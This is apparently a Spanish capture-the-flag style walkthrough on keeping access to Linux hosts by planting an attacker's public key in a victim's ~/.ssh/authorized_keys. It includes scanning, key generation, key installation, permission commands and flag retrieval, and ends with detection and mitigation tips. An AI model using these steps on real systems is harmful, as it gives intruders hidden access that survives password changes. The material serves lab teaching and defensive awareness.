🔑 Persistencia Linux mediante Claves SSH
La autenticación por clave pública SSH permite acceder a un sistema sin necesidad de contraseña, siempre que la clave privada del atacante corresponda a una clave pública registrada en ~/.ssh/authorized_keys de la víctima. Es una técnica de persistencia muy efectiva porque sobrevive a cambios de contraseña.
Técnica MITRE ATT&CK: T1098.004 - Account Manipulation: SSH Authorized Keys. Corresponde a la táctica TA0003 - Persistence.
Cómo funciona la autenticación por clave SSH
| Componente | Descripción | Ubicación |
|---|---|---|
| Clave privada | Permanece en el atacante, nunca se transmite | ~/.ssh/id_rsa |
| Clave pública | Se instala en la víctima | ~/.ssh/authorized_keys |
| Permisos | SSH rechaza claves con permisos inseguros | 700 (.ssh) / 600 (authorized_keys) |
🔍 Fase 1 — Reconocimiento y acceso inicial
Escanear SSH
nmap -sS -sV <IP>
# Detecta OpenSSH en puerto 22/TCP
Obtener acceso inicial (según escenario)
msfconsole -q
# Usar exploit o credenciales conocidas para obtener shell
🔑 Fase 2 — Generar e instalar clave SSH
Generar par de claves en el atacante
# En la máquina del atacante:
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa_ghost
# Genera: id_rsa_ghost (privada) e id_rsa_ghost.pub (pública)
Instalar clave pública en la víctima
# En la sesión de shell de la víctima:
mkdir -p ~/.ssh
echo "<contenido_de_id_rsa_ghost.pub>" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Los permisos son críticos. Si
~/.ssh o authorized_keys tienen permisos demasiado abiertos, el daemon SSH ignorará las claves autorizadas.📶 Fase 3 — Verificar persistencia
Conectar sin contraseña
# Desde el atacante, usando la clave privada:
ssh -i ~/.ssh/id_rsa_ghost <usuario>@<IP>
# Incluso si la contraseña del usuario cambia, el acceso persiste
Obtener la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flag
📋 Flujo del ataque
1
ReconocimientoDetectar OpenSSH activo en puerto 22.
2
Acceso inicialObtener shell como usuario válido.
3
GeneraciónCrear par de claves RSA en el atacante.
4
InstalaciónCopiar clave pública a authorized_keys de la víctima.
5
PersistenciaConectar con clave privada sin necesidad de contraseña.
🧠 Conceptos clave
- authorized_keys: Define qué claves públicas tienen acceso a la cuenta SSH.
- ssh-keygen: Genera pares de claves asimétricas (RSA, ED25519, ECDSA).
- Persistencia invisible: No requiere proceso activo ni modifica binarios del sistema.
- Detección: Monitorizar cambios en ~/.ssh/authorized_keys y usar AIDE/Tripwire para integridad de archivos.
- Mitigación: Restringir SSH con AllowUsers/AllowGroups y usar autenticación multifactor.